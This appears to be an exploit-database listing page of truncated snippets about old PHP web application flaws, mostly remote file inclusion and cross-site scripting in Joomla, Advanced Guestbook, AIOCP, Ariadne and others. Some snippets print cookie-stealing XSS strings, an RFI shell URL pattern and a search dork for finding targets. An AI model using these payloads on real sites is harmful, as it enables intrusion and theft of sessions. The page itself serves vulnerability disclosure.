iPrimal Forums (admin/index.php) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ================================================================== iPrimal Forums admin/index.php Remote File Include Vulnerability ================================================================== iPrimal Forums Remote File Inclusion Fou...

FreeWebShop 2.12.2 - index.php?cat Cross-Site Scripting

FreeWebShop 2.12.2 - index.php?cat Cross-Site Scripting source: https://www.securityfocus.com/bid/20969/info FreeWebShop is prone to multiple input-validation vulnerabilities, including a cross-site scripting issue and a local file-include issue. An attacker can exploit these issues to view files...

PHPMyChat 0.14/0.15 - 'Languages.Lib.php' Local File Inclusion

source: https://www.securityfocus.com/bid/20962/info phpMyChat is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. Exploiting this issue may allow an unauthorized user to view files and execute local scripts. phpMyChat 0.15.0 and prior version...

PHPAdventure 1.1 (ad_main.php) Remote File Include Vulnerability

No description provided by source. D.O.M TEAM Bug found: HER0 cms: PHPAdventure type: rfi risk: High download:http://prdownloads.sourceforge.net/phpadventure/phpadv11.tar.gz contac:[email protected] nota: all the versions of PHPAdventure is affected.. line of the code: ?php $stage = 1;...

AIOCP <=1.3.007 multiples vulnerabilities [sql , remote file include , xss]

AIOCP =1.3.007 multiples vulnerabilitiesinjection sql , remote file include , xss XSS get = - /public/code/cpforumview.php?fmode=top&topid=/textarea'"scriptalertdocument.cookie/script - /public/code/cpforumview.php?fmode=top&topid=53&forid=/textarea'"scriptalertdocument.cookie/script -...

Joomla 1.0.11 Remote File Include

Author : Super-Crystal =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-== website: http://www.joomla.org/ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--==-=-==-= Bug : includeonce $mosConfigabsolutepath . '/language/'. $mosConfiglang .'.php' ; =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--==-=-==-= Exploit...

Advanced Guestbook 2.3.1 (Admin.php) Remote File Include

Advanced Guestbook 2.3.1 Admin.php Remote File Include Author: BrokeN-ProXy Script : admin.php Found : www.hotscripts.com Risk : Dangerous Dork : "powered by: Advanced Guestbook 2.3.1" Exploit: www.Site.com/AGuest Path/admin.php?includepath=Shell?cmd Notice: AGuest Path may be more than One, You...

PHPGiggle 12.08 (CFG_PHPGIGGLE_ROOT) File Include Vulnerability

No description provided by source. Title : Php Giggle = 12.08 Remote File Include Vulnerability Author : ajann Vuln; File startup.php /File Code,1 startup.php Error: .. .... include$CFGPHPGIGGLEROOT . $CFGMODULEROOT . "/kernel/system/modregistry.inc.php"; include$CFGPHPGIGGLEROOT . $CFGMODULEROOT...

ariadne-rfi.txt

Title : Ariadne = 2.4.1 Multiple Remote File Include Vulnerabilities Author : ajann Script Page : http://www.ariadne-cms.org/en/download/ Vuln; Files loader.php loader.cmd.php /Files Code,1 loader.php Error: .. .... require$ariadne."/configs/ariadne.phtml";...

aiocp13007.txt

AIOCP '"alertdocument.cookie - /public/code/cpforumview.php?fmode=top&topid=53&forid='"alertdocument.cookie - /public/code/cpforumview.php?fmode=top&topid=53&forid=23&catid='"alertdocument.cookie - /public/code/cpdpage.php?choosedlanguage='"alertdocument.cookie -...

ag231-rfi.txt

%%%%%%%%%%%%%%%%%%%% Advanced Guestbook 2.3.1 Admin.php Remote File Include %%%%%%%%%%%%%%%%%%%% Author: BrokeN-ProXy Script : admin.php Found : www.hotscripts.com Risk : Dangerous Dork : "powered by: Advanced Guestbook 2.3.1" %%%%%%%%%%%%%%%%%%%% Exploit: www.Site.com/AGuest...

PT-2006-6457 · Ariadne · Ariadne

Name of the Vulnerable Software and Affected Versions: Ariadne version 2.4.1 Description: The issue allows remote attackers to execute arbitrary PHP code via the ariadne parameter in specific PHP files, including "ftp/loader.php" and "lib/includes/loader.cmd.php". Recommendations: For Ariadne...

PHPAdventure 1.1 (ad_main.php) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ================================================================ PHPAdventure 1.1 admain.php Remote File Include Vulnerability ================================================================ D.O.M TEAM Bug found: HER0 cms: PHPAdventure...

Ultimate PHP Board <= 2.0 (header_simple.php) File Include Exploit

No description provided by source. ? print ' ::::::::: :::::::::: ::: ::: ::::::::::: ::: :+: :+: :+: :+: :+: :+: :+: +:+ +:+ +:+ +:+ +:+ +:+ +:+ ++ +:+ +++:++ ++ +:+ ++ ++ ++ ++ ++ ++ ++ ++ ++ + + + +++ + + ::::::::::: :::::::::: ::: :::: :::: :+: :+: :+: :+: +:+:+: :+:+:+ +:+ +:+ +:+ +:+ +:+...

AIOCP 1.3.x - Multiple Vulnerabilities

AIOCP 1.3.x - Multiple Vulnerabilities source: https://www.securityfocus.com/bid/20931/info All In One Control Panel AIOCP is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data. Exploiting these issues could allow an attacker to...

Agora 1.4 RC1 (MysqlfinderAdmin.php) Remote File Include Vulnerability

Exploit for unknown platform in category web applications ====================================================================== Agora 1.4 RC1 MysqlfinderAdmin.php Remote File Include Vulnerability ====================================================================== \ /\ \ / | \ \ | / \ // / |...

Quick.Cms.Lite <= 0.3 (Cookie sLanguage) Local File Include Exploit

No description provided by source. ? print ' ::::::::: :::::::::: ::: ::: ::::::::::: ::: :+: :+: :+: :+: :+: :+: :+: +:+ +:+ +:+ +:+ +:+ +:+ +:+ ++ +:+ +++:++ ++ +:+ ++ ++ ++ ++ ++ ++ ++ ++ ++ + + + +++ + + ::::::::::: :::::::::: ::: :::: :::: :+: :+: :+: :+: +:+:+: :+:+:+ +:+ +:+ +:+ +:+ +:+...

@cid Stats 2.3 - Install.php3 Remote File Inclusion

@cid Stats 2.3 - Install.php3 Remote File Inclusion source: https://www.securityfocus.com/bid/20925/info The '@cid stats' program is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow an attacker to compromise...

AIOCP 1.3.x - Multiple Vulnerabilities

source: https://www.securityfocus.com/bid/20931/info All In One Control Panel AIOCP is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data. Exploiting these issues could allow an attacker to steal cookie-based authentication...

MX Smartor Album Module Remote File Include

MX Smartor Album Module Remote File Include Discovered by Paul Bakoyiannis winsec ------------------------------------------------- Vulnerable Code: if $mode == 'albumcat' include$modulerootpath. 'includes/albumcat.'.$phpEx; the rest of the vulnerable code removed for brevity Vulnerability:...